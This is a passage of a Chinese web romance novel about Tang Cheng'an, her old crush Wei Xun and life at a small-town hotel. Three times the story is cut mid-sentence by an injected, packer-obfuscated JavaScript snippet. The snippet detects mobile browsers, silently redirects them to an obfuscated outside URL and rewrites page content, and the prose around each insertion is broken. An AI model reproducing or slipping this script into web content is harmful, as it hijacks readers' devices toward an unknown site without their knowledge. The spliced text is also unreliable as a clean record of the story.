但是李梦就那样安安静静坐在地上,双手抱着膝盖,眼睛死死盯着电视里正在播放的日本动漫,一点也看不出离家出走情绪崩溃的样子。 唐成安走了过去,又怕吓着她,所以只敢轻手轻脚地在她旁边坐下。 李梦对唐成安的到来好像并不意外,只是看了一眼,然后又扭过头去看电视里的动漫。 两个人就这样沉默不语了很久,整个空间里只有动漫打斗的声音。 唐成安看李梦眼神这么久都没有波澜,忍不住好奇:“你怎么不回家?” 李梦回头看了她一眼,面无表情地说: “那还是家么?” 唐成安知道李家最近的矛盾,因此所有原本准备好的安慰话都被李梦这一句堵在了喉咙。 是啊,顶梁柱爸爸意外去世,妈妈和奶奶又整天吵个没停,爷爷夹在中间不知所措。 而平时被家人捧在手心里的自己呢?此刻变成最没有话语权的石头,只有一方吵不过了,才会想起她,用她当作自己委屈的借口。 可她的委屈又有谁愿意听呢? 自从事发以来,她也和家人一样寝食难安,不光因为上课打瞌睡在学校被老师责骂,甚至下午离家出走都没被家里人注意到,这么晚才出来找人。 只愿意同甘的人,不是家人。 李梦看到唐成安被她的话噎到无话可说的表情,露出一丝冷笑: “我妈之前和我说不要让我和你玩,说你是个坏榜样,因为你不学无术还早恋。” 虽然这话说的实在不好听,但是唐成安也无法否认,毕竟自己年少轻狂,确实干了不少大事,有些“光辉事迹”甚至闹得基本上所有南州人都知道。 “欸欸欸,早恋也是分情况的好吧,”唐成安极力想给自己挽尊,“你看人家魏寻多优秀,我当时正是跟着他,受到他的影响,才越来越优秀的呀!” 李梦点点头:“所以我很佩服你和阿寻哥,你们都很勇敢。” 唐成安对她这一句话有些摸不着头脑:“什么意思?” 李梦对唐成安的木头脑袋感到无语,轻轻翻了个白眼:“你当时追阿寻哥的动静闹得全南州都知道,你觉得阿寻哥那么聪明一人,他能不有所察觉吗?” “可阿寻哥还是不顾流言蜚语帮你补习,就说明他已经承认你,勇敢地选择你啦!” 要不怎么说旁观者清呢,唐成安之前从来没有从这个角度想过问题。 所以魏寻的不排斥就能相当于默认了吗? 但那张巧克力的纸条和宿舍楼下的告白,魏寻为什么都不回应呢? 还有那十年——沉默又决绝的十年断联,永远无法忽视。 李梦的猜想确实在某一瞬动摇了她,可唐成安又何尝不心知肚明? 魏寻是个聪明人,如果真的喜欢自己,没理由不给回应,更没理由十年都不联系。 也许在外人看来的不排斥,只是魏寻留给各自的体面罢了。 唐成安跳出逻辑圈,暗自加重了这个信念,刚想解释清楚却被李梦突然的开口打断。 “可是我既不是什么好孩子,也没有你那么勇敢。”李梦低声自言自语。 李梦也是有名的问题生,因为痴迷网络熬夜上网,导致上课睡觉,无辜旷课都是家常便饭,因此她的学习成绩一直令人堪忧。 班主任已经家访过好几次,但她父母要务工,很难管到她,爷爷奶奶又毫无底线地宠,于是问题迟迟没能解决。 “成安姐,我有时候很羡慕你,虽然你在大家眼里也不是个听话的孩子,但大家还是很喜欢你,” 李梦忽然转头对着唐成安,前面电视闪烁的灯光映在她脸上,眼睛里装了很多心事, “可我在别人眼里就是个另类。” 唐成安拍拍李梦的背,安慰她:“怎么会呢?大家都知道李家的梦梦是位潮流女孩呀。” 李梦听了只是勾勾嘴角,却丝毫没有笑意:“只不过是把我的网瘾说得好听点罢了。” 李梦对镇上人对她的看法心知肚明,也不想自欺欺人。 “成安姐,你知道我为什么那么喜欢上网吗?” 唐成安表情有点呆滞,眨巴眨巴眼睛,摇了摇头。 “因为网上我才能找到存在感,才有志同道合的朋友。” “他们和我一样喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她现在语重心长地搬出这些大道理劝慰李梦,可是似乎都无法说服自己。 她甚至耗费二十多年也没能想清楚,当年妈妈的不告而别,自己究竟有没有放下责怪。 然而唐成安还是就这样静静地抱着她,任凭墙上的时针滴答滴答地晃动。 等李梦把情绪全部发泄出来,唐成安便牵起她的手,慢慢走回家。 “成安姐,其实那份意外保险是我投的,”李梦用力擦干脸上的泪痕,声音带了点哽咽, “当初学校要求统一买保险的时候,我就骗他们多要了点钱,给我爸也买了一份,他天天在工地做事,受伤都是难免的,我想买这份保险不会亏。” “但是我真的没想到,这份赔偿金会成为我们家的导火索,你说……爸爸在天上会怪我吗?” 唐成安看着女孩因自责而通红的双眼,轻轻替她抹去溢出的眼泪:“不会的,你爸爸肯定会想,原来我丫头这么关心我呀。” 李梦顿了顿,稍后便破涕为笑。 唐成安用手指点了点李梦的额头:“所以你要挺直腰杆,理直气壮地对爸爸说不用客气。” “还要记得回家跟妈妈和爷爷奶奶说声对不起,让你们担心了。” “哦对对对,还有电器店老板,明早过来道个歉吧。” 李梦看着唐成安装作严肃训话的样子,噗嗤一声笑了出来,唐成安也知道自己没那个气势,也跟着傻笑。 “成安姐,我知道大家为什么喜欢你了,因为你尽管不着调,但有个不顾一切的热心肠和推心置腹的同理心。” “你这孩子,说的话怎么听起来那么别扭呢?这是夸我还是骂我啊?” 李梦没心没肺地笑着,信誓旦旦承诺:“成安姐,我一定要向你学习。” “学我什么?学我不学无术,还是学我早恋啊?” 两个人眼神相对,都大笑了起来。 其实,温和的父母也会不尽人意,叛逆的孩子也是心思细腻。 家庭这出剧啊,每个人都要一起唱,少一个声音都不行。 可是到了一段剧目快结束的时候,一些角色也不得不下场,这个时候千万记得要好好告别呀。 两人就这样在大街上牵着手慢慢走着,一路上都是欢声笑语。 11. 《植物大战僵尸》 “哎呀呀,成安呐,大早上就有人给你送东西啊?”赵姐略带调侃的语气,拎着一个果篮一扭一扭地走进了办公室。 唐成安轻笑了几声,起身接过果篮,拿出里面放着的纸条,剩下的水果交代赵姐都拿去分给其他清洁人员吃。 赵姐一边应下,一边又有些好奇地问:“谁呀?” 唐成安抓着纸条的一角,在赵姐面前挥了挥,微微勾起嘴角:“是梦梦。” “哎呦,就最近闹得可凶的那个李家?”赵姐一听立马重新坐下,两眼放光,八卦地想打听更多消息。 唐成安对赵姐的八卦程度有些无奈:“是呀,人家现在已经不闹了,打算好好过日子呢。” 自从那次离家出走以后,李梦一回去就乖乖听了唐成安的话,找到她妈妈好好谈了自己的想法,也表示能理解妈妈的难处。 母女俩就这样抱在一起痛哭,放下了之前所有的误会和矛盾,一家子又重新变得和和美美。 听说前几天李梦还特地去了她爸爸的墓前,用心上了几炷香,神神叨叨说了句不明所以的话,好像是…… 不客气? “一家人的,哪有那么多仇啊恨啊的,把话说清楚就好了。”唐成安默默看着李梦写给她的纸条,把它夹进了笔记本里。 赵姐看她要走的样子,可口里还包着刚咬下半边的苹果,只能含含糊糊问道:“嗯?你这是要去哪?” 唐成安轻拍赵姐的肩膀,歪个脑袋咧着嘴回答:“我去开会啦,你想吃什么就在我办公室里随便拿啊。” “哦哦,小,小心那些老家伙。”赵姐还是不放心叮嘱道。 唐成安不光是乐兴唯一的女性经理,也是最年轻的经理。 所以每次开会都会被夹在那群自视清高、满脸肥油、虚假伪善的“老油条”里,其他人都很为她担心,怕她被他们捉弄或者针对。 但这个当事人每次却是一点儿也不在意,满脸轻松。 大家都觉得这个小姑娘真是个呆头鹅,估计被人针对了都不知道,只能替她干着急。 这次会议是魏寻主持,主要是为了介绍酒店刚刚修缮完成的管理系统的操作方式。 唐成安虽然只是财务部经理,但不知道这位唐长老有什么神通,一般开会都能粘着老余坐在右手边,两个人还时不时的交头接耳,不知道聊些什么。 其他部门经理自然看着不爽快,私底下都称她“小妲己”,认为她多半是在妖言惑众。 恰好这次会议老余缺席,坐在底下的老家伙们就镇不住了,觉得魏寻年纪轻轻,居然还能有资格给他们上课? 于是一个个满脸不屑,没听多久就开始摆架子摔笔,双手插在胸前,往后一靠,二郎腿翘得都要到桌子上了。 “不是,怎么这么麻烦?”一句不耐烦的抱怨直接打断魏寻的介绍,好像这样能显得自己高人一等。 魏寻也是好脾气,还是耐心解释:“刚开始不熟悉可能是很难适应,但是之后……” “哎呀,我说你们小年轻就是喜欢把简单的事情想复杂,我们都不太会用电脑,哪里还能搞清楚这个什么大数据啊?”还没等魏寻说完,另一个刺耳的声音从其他地方又冒了出来,“而且现在不是已经很方便了吗?” “方便什么?方便你们又钻空子拿钱啊?” 魏寻是个呆子,但唐成安可是个暴脾气,听见这些老家伙在下面阴阳怪气就咽不下这口气,也是有样学样,不留情面地怼了回去。 说完也怒摔笔记本,抓着钢笔用笔尖对着旁边的老家伙们,表情狠恶。 “我告诉你们,首先,这事是老余点头答应的,你们没资格做主,”唐成安抬起眼睛扫视这些坐在办公椅上好吃懒做的猪狗,“如果你们不介意以下犯上,我也不介意在你们黑料上再添一笔。” 被她这么一恐吓,那些老家伙也没了声响,这才让魏寻顺利讲下去。 会议大概持续了两个多小时,刚一宣布结束,吃亏的老家伙们就拿起笔记本灰溜溜跑走了。 唐成安看着他们鼠窜的背影露出鄙夷的神情,默默走到投影前面帮魏寻收拾器材。 “刚才真是多谢。”魏寻看着唐成安,笑得温柔。 “他们就是欺软怕硬罢了,你也是,太好欺负了吧?发个火吓唬吓唬人呀。” 唐成安刚准备抬头教训魏寻,外面的光线便透过会议室的落地玻璃窗照了进来,打在魏寻周边,围了一圈暖金色的光晕。 虽然还是不变的穿搭,但是此时的魏寻比起刚回南州的那会儿精神了很多,有时唐成安会不自觉恍神,幻想魏寻重新变回熟悉的少年模样。 魏寻生过气吗?好像在她的记忆里从来没有,他是那样一个温柔的人。 即使自己小时候对他那样死缠烂打,魏寻的语气也永远都是那般平和安静。 此刻光线柔和,却也照清了魏寻脸上的绒毛,还有鼻梁上淡淡的“黑痣”。 “你鼻梁上的这黑点真的是去不掉了吗?” 唐成安看着看着入了迷,一只手不自觉轻轻触上了魏寻的鼻梁。 也许是指尖感受到眼前人渐渐上升的温度,她忽然意识到行为的不妥,触电般把手收了回去。 两个人也都感觉到了气氛不对,有默契地低着头,自顾自地整理铺在地上的数据线。 好在姗姗来迟的余老板及时“救场”。 不过他看到唐成安也在,先是愣了愣,又找了个去办公室拿礼物的牵强理由把魏寻拉走了。 魏寻乖乖跟着余老板来到办公室,刚进门就被余老板扯到电脑前。 “小魏你来看看,我,我这界面怎么成这样了?” 余老板也没用习惯电脑,魏寻新安装的程序他根本搞不明白,只会乱点一通,结果害得应用运行出错,整个人对此束手无策。 “问题不大,要是您刚刚来了培训会就知道怎么操作了。”魏寻边说边在键盘上按了几个按键,屏幕一下子就恢复正常了。 “哎呀你别说了,就是因为忘了今天培训会这事,刚刚见到成安都心虚得很,不敢看她。” 魏寻看余老板如释重负一般倒在老板椅上,抓起茶杯猛灌一口,不免觉得奇怪:“余老板,您怎么这么怕成安啊?” 余老板听了浅浅叹了口气,紧抿嘴唇摇摇头:“我哪是怕她啊?我那是欠她的。” 魏寻痴痴地站在原地一动不动,眉毛微微颤动,看着一头雾水的样子。 余老板身子往前一探:“她没跟你说过啊?” 魏寻表情困惑,摇了摇头。 “那是前两年的事了,你先坐。”余老板做好讲故事的阵仗,招呼魏寻坐下。 大约是2003年夏末,当时正好碰上余老板和他妻子去外面谈生意,家里没人,他就把他儿子小宝放在了酒店里托员工照看。 “我小宝可乖的很咧,也不用人陪,一个人就可以在办公室里玩。” 说着余老板还自豪地冲魏寻露出炫耀的表情,只不过没一会儿又沉了下来, “就是因为不需要人一直照看,所以身体不舒服也没人发现。” 据说当时是有个保洁人员偶然从门上的小窗看进去,才发现小宝一个人在办公室里又呕又吐的,整个人都已经软绵绵的站不稳了。 但是那段时间也是非常时期,非典刚刚过去,人心惶惶的,小宝的症状看着和非典很像,所以即使门外聚了一堆人,也没有一个人敢开门。 最后整个酒店只有唐成安一个人二话不说揣着两个口罩就冲了进去,帮小宝擦干净嘴角后便不顾一切抱着他奔向医院。 那一年非典的冲击就算在两年后的今天也难以忘却,即便在国家努力下控制住了局面,大家依然感到后怕,所以一路上根本没有司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14641445|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机敢载他们。 于是唐成安就一个人抱着小宝,顶着烈日一路小跑去了一公里外的医院急诊科,刚到急诊的走廊把人放下,她也被护士抓去隔离了。 不过好在小宝得的只是流感,让远在他乡的余老板松了口气,但他年纪太小,听医生说如果没有及时就诊,后果也是不堪设想。 “我回来听到这消息一下子就哭了,一方面是庆幸小宝没事,另一方面对成安除了感激,更多的还是愧疚。”余老板声泪俱下,讲到动情处不免生出感叹,“她当年也只不过是一个刚毕业的小姑娘啊,如果小宝得的真的是非典,她还这么年轻,可怎么办呀……” 余老板也是性情中人,每次回忆这段往事都能泪流满面,猛抽了几张纸后抽抽嗒嗒地接着说:“所,所以,我余大生真的是欠她的……” 余老板擦干眼泪,对着纸巾用力哼了一把鼻涕,话锋一转:“不过这丫头心地是善良,但脾气也不好惹,真是个小魔头,曾经可能更多是感到亏欠,现在我还确实有点怵她了。” “所以是有您在背后撑腰,她才不怕那些其他部门的经理吗?”魏寻想起刚刚开会唐成安对付那些部门经理颇有气势的样子,认为是余老板的缘故。 “哈哈哈,这可是两码事。”没想到余老板像听到天大的笑话一样大笑不止,捂着肚子差点岔过气,“我当初从市里调过来,就是打算做个闲散官的,没领导的架子,所以上上下下其实都不怕我。” “那些老顽固是不是看你年轻,又不把你放眼里啦?” 余老板洞悉一切地冲魏寻挑了个眉,魏寻也愣愣地点了点头。 余老板似乎轻易洞悉一切:“哎呀,他们当初也是这么看成安的,不过这丫头可真是不简单,一点也不吃亏。” “当时她刚升经理的时候也没少被他们打压,结果这位小魔王愣是咽不下这口气,一气之下连熬七天大夜,把整个酒店的所有账据翻了个底朝天,一笔一笔地核对,最后硬是把那些老家伙之前贪的东西给揪了出来,罗列出长长的罪证交到我手上,让他们一个个无话可说去领了处分。”余老板说到这甚至还有点莫名的自豪。 魏寻第一次知道,原来曾经那个成天屁颠屁颠跟在自己后头,用亮晶晶的眼睛盯着他的小姑娘,也是这么一个古道热肠、敢爱敢恨的人。 他此刻觉得,唐成安值得他所有的喜欢。 “哎呦哎呦,不得了了,”余老板突然惊起坐直身子来,慌慌张张在桌子上翻上翻下,“刚刚为了躲着那个小祖宗,随便扯了个慌叫你过来,要是你空手回去我可没法交差。” 结果余老板这位倒霉的“清贫闲官”,翻遍了办公室,也根本没有能送的出手的稀奇玩意儿。 于是他干脆直接拿起桌上原本买给儿子,有脸那么大的彩虹棒棒糖塞到魏寻手里,估计他自己也觉得不好意思,尴尬地笑得比哭还难看。 魏寻倒是很配合,郑重地双手接下了这份“厚礼”,礼貌道了个别,出门没几步就碰上了下班的唐成安。 唐成安一眼就看到了他手上那个脸大的棒棒糖,歪个脑袋尴尬地勾起嘴角:“老,老余就送你这个?” 魏寻看到她的表情后眼神软了下来,眼角笑得弯弯的: “不是,这是我买给你的。”说着就把棒棒糖递到唐成安手上。 “这……这是小孩子才吃的吧。”唐成安虽是不明状况,但也迷迷糊糊地接了。 魏寻见到眼前的女孩认真琢磨面前和脸一样大的棒棒糖的样子,痴痴看着她笑,眼里都是柔和的目光。 “嘿,你傻笑什么呢?” “呵呵,没什么。” - 唐成安,我希望你平安顺遂、天真烂漫,一直做个无忧无虑的女孩儿。 其实那晚的星星落了一颗,永远藏在了我的眼睛里—— 在看向你的每一刻里。 12. 佳能单反相机 自从有了魏寻做的程序,酒店管理起来便更加得心应手,平时的财务核算一清二楚,给唐成安省去不少麻烦。 简明直白的员工绩效考核以及奖罚情况定期公示,显然员工们都不愿做倒数第一,一个个不同往常一般发起狠地忙碌起来。 又或许是因为近期的酒店周年晚会。 “老余!”唐成安攥着刚刚交上来的财务报表,气冲冲地跑到余老板办公室兴师问罪,“你买这么大个破鱼缸干什么,你是嫌酒店预算很多是吧?!” 余老板本来就有点怕唐成安,这声怒吓愣是直接把他吓到躲在了桌子底下,心虚得只敢露出个额头。 唐成安叉着腰,连拍了三下桌面,桌上的东西都哐当哐当震了几声,连带一起震出来的还有余老板那张挂了细汗的大脸。 “哈哈哈被你发现了啊……” 余老板本想打个哈哈就这么混过去,哪知道唐成安怒火中烧的眼睛死死蹬着他,没一点含糊的意思。 没办法,余老板这下也只能老实交代“罪行”。 “这不是碰上酒店的周年晚会么,我想搞个特别一点的抽奖活动……”他越说越没底气,眼神闪烁,笑容看上去非常勉强,“我正好姓余嘛,办个摸鱼抽奖,这多新鲜啊是吧哈哈!” 在尬笑中他还偷偷瞄了一眼唐成安,时刻观察她有什么反应。 但感觉理由还是不够充分,于是又加了一嘴:“而且我告诉你,今年奖品特别好哦,所以搞个特殊的抽奖方式也算‘郎才女貌’了是吧哈哈哈?” 唐成安低头再仔细看了一眼报表,奖品明细写得清清楚楚: 最新款摩托罗拉、索尼头戴式耳机、佳能5D系列单反相机…… 一个个都是下血本的豪华珍品,确实很难不心动。 这次是酒店十周年晚会,面向全南州开放,准备大肆庆祝一场,同时也是对外宣传的好机会,奖品这块自然不能掉面子。 余老板看到唐成安脸色渐渐变得和缓,趁机继续说: “这次晚会全南州的人都会来,正好话剧节目那边还差两个演员,你可以去试试呀,说不定还能在你家人面前好好表现一番。” 唐成安听了却一脸不屑:“哼,他们要是真来了,那也是来看我笑话的。” “哎呀,大不了你就演个不重要的小角色嘛!反正都算表演人员,照样可以参与抽奖。” 唐成安眼睛一转,觉得这个主意不错,如果只是演个没台词的小角色,唐玉山和唐成泰也没法笑话什么,而且这次的奖品实在是难以拒绝。 于是她下定了决心——就算这抽奖方式再怎么奇葩,为了这些宝贝,脸面算得上什么东西。 见唐成安动了心,余老板也趁热打铁,赶紧好声好气送走了这位祖宗。 - 听了余老板的话,唐成安一忙完手头上的事,就兴致勃勃前往大堂找话剧表演的负责人员商量自己参演的事。 中途路上还碰到了来吃饭的魏寻,干脆顺便邀请他一起去凑凑热闹。 这次话剧剧目选的是莎士比亚的《仲夏夜之梦》,奇幻喜剧类型的剧情也确实符合晚会的热闹气氛。 唐成安难得使用一回权力压制,成功“争取”到了一个背景树木的表演职位。 这个角色不光没有台词,甚至连脸都不用露,平时也不需要排练,只用来最后正式上台表演的那次。 唐成安觉得甚合心意,美滋滋地准备拉着魏寻走人。 “诶诶,这小伙子形象不错啊,还差个男主拉山德的位置,要不你来试试吧!”导演突然叫住他们。 魏寻虽然头发杂乱不整,脸上还挂着个沉闷的黑框眼镜,但是精瘦又高大的身材在人群里确实优越,果然被导演一眼相中了。 可他本来就只是陪唐成安过来看个热闹的,根本没有留的意思,正打算拒绝,却被唐成安拦了下来。 “女主是谁?”唐成安突然挡在魏寻前面问导演。 “前台小林,放心,是个美女。”导演以为唐成安是担心演对手戏的演员不给力,配不上魏寻,赶紧解释道。 唐成安知道,前台的这个小林是去年刚来的,人今年才二十岁,长得也像橱窗柜里的瓷娃娃似的,是酒店里公认的美女。 只是这人太过于娇气,所以即使两人没什么恩怨,自己平时也不太愿意和她接触。 不过看话剧嘛,大家其实都是奔着颜值去的,演员私底下性格怎么样根本没人在乎。 于是唐成安毫不犹豫用肩膀轻轻撞了撞魏寻,脸上露出狡黠的笑容,遮住嘴小声对他说: “要不你去演吧,这个女主角是真的漂亮。” “不过最主要的还是因为表演人员能抽奖,我跟你说,这次老余真是下了血本,奖品可了不得。” 魏寻听着唐成安的语气,似乎很想要他参演,他也不想辜负她的心意,就这样懵懵懂懂地答应了。 导演一看到魏寻应下,赶紧把剧本塞到他手里,连忙找来女主角准备搭戏。 这个小林也的确是年轻气盛,看到面前身材高大的魏寻,瞬间两眼放光,对这个男主角很是满意。 唐成安意料之外见到小姑娘这花痴的表情,顿感不对劲,一改刚才要走的态度,说什么都要留下来看排练。 剧本一开始,赫米娅和拉山德就是热恋中的一对情侣,因此两个人也有很多亲密的动作。 唐成安就这样一个人撑着脸在台下,默默看着台上排练的前台小林和魏寻。 两个人在台上牵手、拥抱,数不清的亲密互动,以及大段大段的深情告白。 有时她会不自觉幻视过往,想起曾经的自己也是这样深情款款地追着魏寻倾诉情意,毫无保留。 魏寻发育相对较晚,十五岁的他并没有比其他男生突出多少,为了把更多心思放在学习上,他甚至常年不变留着较短的寸头,除了比一般人更加干净秀气的五官,在整齐划一的校服大军中他根本不起眼。 但是唐成安却像是装了雷达一般,每一次都能准确找到魏寻。 别人一旦问起,她总是颇为自豪地打哑谜,还炫耀即使只留下一个后脖颈,她也能第一时间找出他。 那时候的唐成安无比坚定认为魏寻就是世界上最好的人。 他的好或许南州所有人都知道,但只有唐成安一个人会放在心里。 唐成安的喜欢是真真切切的,演戏哪里演得出半分相像?更何况对着魏寻表白的,并不是她。 唐成安心里一阵一阵地冒出不明来由的烦躁,现在的她根本无法想象刚刚劝魏寻参演的轻松语气是怎么说出口的。 魏寻由于刚刚加入,对戏都是一直拿着剧本念台词,眼神压根没空对上女演员。 但郎无情,妾有意啊,即使魏寻全程眼神都没有交流,这个前台小林倒是“尽职尽责”。 她两只眼睛灼灼地盯着魏寻,动情地念着每一句台词,唐成安从小姑娘的语气里听得出来,这些词哪里是对拉山德说的,分明就是特地在对着魏寻说。 就算她再怎么告诉自己这是表演需要,心中的别扭也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14641446|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟迟散不走,最终还是坐不住,随便找了个理由离开了。 这场剧她恐怕是真的看不下去。 于是这些天唐成安一股脑地投入到工作中,企图分出心思,不要再想排练的事。 劝魏寻不要演了吗?可当初也是自己鼓励他去的。 就算真的要说,自己又该以什么身份呢? 这次晚会设置的奖品那么诱人,明明自己也很想要,魏寻又为什么要因为她的情绪放弃呢? 唐成安越想越觉得自己是在无理取闹,就这么闷闷不乐地撑到了晚会当天。 因为话剧道具比较多,演员们都提早来了后台换装准备,唐成安也如愿以偿扮演起了陪衬的大树。 不得不说,这次晚会确实花了大价钱,暂且不说那些看得让人眼馋的奖品,只不过是一个小小的话剧节目,道具和服装都格外精致。 就连唐成安扮演的这棵背景树都有专门定做的卡通服装—— 造型做成了一般儿童绘本的样子,中间挖个圆圆的洞,刚好能露出演员的脸,两只手上还有配套的用毛根和彩色卡纸做成的枝丫,人穿着滑稽又可爱。 不过唐成安才不在乎这服装穿起来怎么样,她只想知道魏寻已经排练到什么程度,是不是早就和女主很亲昵了? 然而她找遍了化妆间,也没能看到魏寻的身影,后来问了工作人员才知道,主演和龙套安排在了不同的房间。 唐成安就这么阴沉着脸,怅然若失地跟着其他演职人员登上了台,准备老老实实做好一个称职的背景板。 帷幕还没拉起,演员们都窸窸窣窣地摸黑找着自己的位置。 然而作为不重要的背景板,唐成安站在哪里都无所谓,因此她最先站位完毕,就这样直直地站着发呆。 忽然,唐成安感觉自己手上抓着的枝丫好像被人碰了一下,她扭头一看,发现魏寻不知道什么时候来到了她的身边,身上穿的是和她一样的大树服装。 “你,你怎么从男主变成大树啦?”唐成安心中生出窃喜。 魏寻:“我记不住词,被他们刷下来了。” 唐成安:“真笨。” 怕影响到其他角色和正常表演,唐成安和魏寻就这么挨在一起说着悄悄话。 “那你何苦要来演大树啊?这就是个没什么用的背景板呀,你还不如直接在台下当观众呢。” “不是你说的吗,表演人员可以抽奖呀。” 唐成安看着魏寻说话时认真的表情,忍不住低声笑了出来,连她自己都不知道为什么会笑。 是在笑魏寻这么个北京高材生,居然连个短话剧的台词都背不下来? 还是在笑魏寻穿着这个卡通大树表演服的样子看起来过于滑稽? 又或者在笑魏寻居然也喜欢贪这种小便宜? 总之她这些天心里堆积的郁闷,仅仅因为魏寻的到来,都一扫而空了。 帷幕渐渐拉起,台下观众掌声阵阵,身后的主演们迎着聚光灯,声情并茂地说着经典台词—— 「“你使我安心,当我看见你的面孔时,黑夜变成了白昼……”」 当背景板的两人也不无聊,伴着剧目进行的乐曲,幼稚地玩起了手上拿着的假枝丫。 打闹的动作幅度不大,却玩得异常开心,自得其乐。 有时两个人也会默契地对视,互相看着对方笑成月牙的眉眼,内心充斥了简单的满足。 「“哦,亲爱的狄米特律斯! 你在我的眼光里是一切的世界 ……”」 13. 小炒黄牛肉 实话实说,乐兴酒店还真是人才济济。 代替魏寻出演男主角的小伙子是酒店新来的礼宾员,人虽然相貌平平,但是有一口出人意料的标准播音腔,念起台词有声有色。 即便台上冷不丁出现一些小插曲,这场话剧最后也在这些不太专业的演员们的配合下迎来了观众热烈掌声,顺利闭幕。 笨重的服装也拦不住此刻唐成安的脚步,她刚在后台脱下表演服,便急冲冲地赶去大厅里给她安排好的位子就坐。 因为她心里比谁都清楚,这次面向全南州开放的晚会,家里那两个“热闹雷达”肯定不会缺席,怕一不留神又生事端,她脚下的步子也不知不觉加快了些。 “嘿!这儿呢!” 唐成安才打开大门,就看见唐成泰手里抓着个油腻腻的大鸡腿,伸长手臂向她招手。 坐在旁边的唐玉山也没好到哪里去,暂且不说吃成一脸花猫子的样子,他身边还放了个不知道从哪来的纸箱子,里面装得满满的都是白酒。 也是,这次晚会最主要还是为了宣传,每个人交的入场费其实包含了纪念品和餐饮费,七七八八算下来酒店赚不到多少,来了的人都不吃亏。 但要是碰上像唐玉山和唐成泰这样的市侩之徒,那真是算踢到铁板,这俩人怕是即使肚皮都要撑破了,也非得塞几粒花生米进去才肯罢休。 “你们俩别像饿死鬼投胎一样,撑死在这。”唐成安知道这两父子打什么算盘,阴阳怪气呛了他们一句。 “这说的什么话?你也来尝尝,这盘牛肉炒的相当好吃。” 唐成泰早就被骂习惯了,脸皮厚的很,游刃有余地扯开话题,毫不在意形象地狼吞虎咽起眼前的这盘小炒牛肉。 表面上客客气气地说是让她尝鲜,然而等到唐成安拿起筷子一看,一盘菜早就被唐成泰风卷残云扫光了,连里面的蒜条都不剩。 “算了,你们吃吧,台上喊我抽奖去了。”估摸着这桌上也没她吃的份,又正巧轮到抽奖环节,唐成安无语地瞥了一眼自家这两个没出息的男人,摇摇头走向了抽奖台。 工作人员早已事先把鱼缸抬上了台,唐成安亲眼见到这大鱼缸才终于知道它为什么这么贵了——玻璃缸长宽生生逼近舞台尺寸,台上的人只能拥挤得并排围在一侧。 鱼缸里面放了十几条活蹦乱跳的鲫鱼,每条背鳍上都染了不同的颜色,用来兑换相应的奖品。 唐成安早早上了台,双手轻轻扒着鱼缸的玻璃壁,仔细观察里面的鲫鱼,猜测安排了最终大奖的那条会不会和其他的有什么不同。 魏寻看见她专心致志的表情,悄咪咪挪动脚靠过去。 “看出来了什么吗?”魏寻偷偷问。 “我估计那条尾巴上有红线的就是了。”唐成安指着其中的一条回答。 看着唐成安信誓旦旦、整装待发的样子,魏寻禁不住笑出声来,觉得她认真得实在可爱。 主持人一宣布开始,两人就对了一个眼神,有默契的一起围攻那条“目标鱼”。 要不怎么说“如鱼得水”呢,这水中的鱼还真是不好抓,即使两个人一起围攻,也愣是让它脱手了几回。 这下可彻底激起了唐成安的胜负欲,只见她撸起袖子,双手以迅雷不及掩耳之势往水里一掏,狠狠扣住那鱼的两腮,使劲把它拎出水面。 这鱼出了水也不安生,尾巴扑腾扑腾甩了两人一身的水。 唐成安和魏寻抬起头,看见对方被鱼折腾的狼狈样子,也都不自觉笑了起来。 “你看,这死鱼眼像不像你。” 唐成安故意搞怪地抓着鱼肚靠近魏寻眼前,打算逗他开心。 哪知这鱼这么记仇,身子用力一蹬,直接冲着魏寻鼻梁狠狠咬了一口。 突如其来的这一下可把唐成安吓坏了,她赶紧把鱼扯开,但还是在魏寻鼻梁上留下了不深不浅的伤口。 真是一个惊喜礼物。 好不容易“鱼嘴”逃生,可仅仅一个小伤口也开始渗出血珠,担心伤口感染,唐成安随手拜托赵姐替她兑奖,自己则火急火燎地拉着魏寻冲着医院跑去。 - 南州如今已经逐渐发展起来,基础设施明显能够看到改善,就连小小的卫生院也有宽敞明亮的大厅,周围种满了各种绿植,让医院显得不那么死气。 滴答滴答流下的点滴声,似乎还时而散发一股浓烈的消毒水味。 诊疗室里是护士正在帮魏寻伤口上药,唐成安凑在跟前,想要学习护士细致的上药手法。 魏寻浅浅闭着眼睛,纤长的睫毛碰到下眼睑,时不时有轻微的颤抖,他端坐在凳子上,乖巧地配合护士处理伤口。 “哎,你的鼻梁真是多灾多难,几次都是因为我。”唐成安关注伤口的时候,又注意到曾经也是因为自己误伤他而留下的那个黑点。 这个黑点的来由也堪称二人之间的“经典剧场”。 那是一个不算宁静的下午,唐成安那次考试失分点太多,导致被魏寻特地留在教室,直到写完两套相同知识点的专项卷才能走。 一想到能和魏寻单独相处,唐成安心里的算盘不知打得多响,二话不说立刻答应。 然而还没等她做出几道题,魏寻就已经在她身边睡着了。 她并不觉得扫兴,因为室外令人燥热的阳光好像单单对魏寻难得温柔,微闪的睫毛在鼻梁上投下阴影,他的头发轻轻贴在额前,几缕发丝在微风中摆动,此刻的少年比时光还要美好。 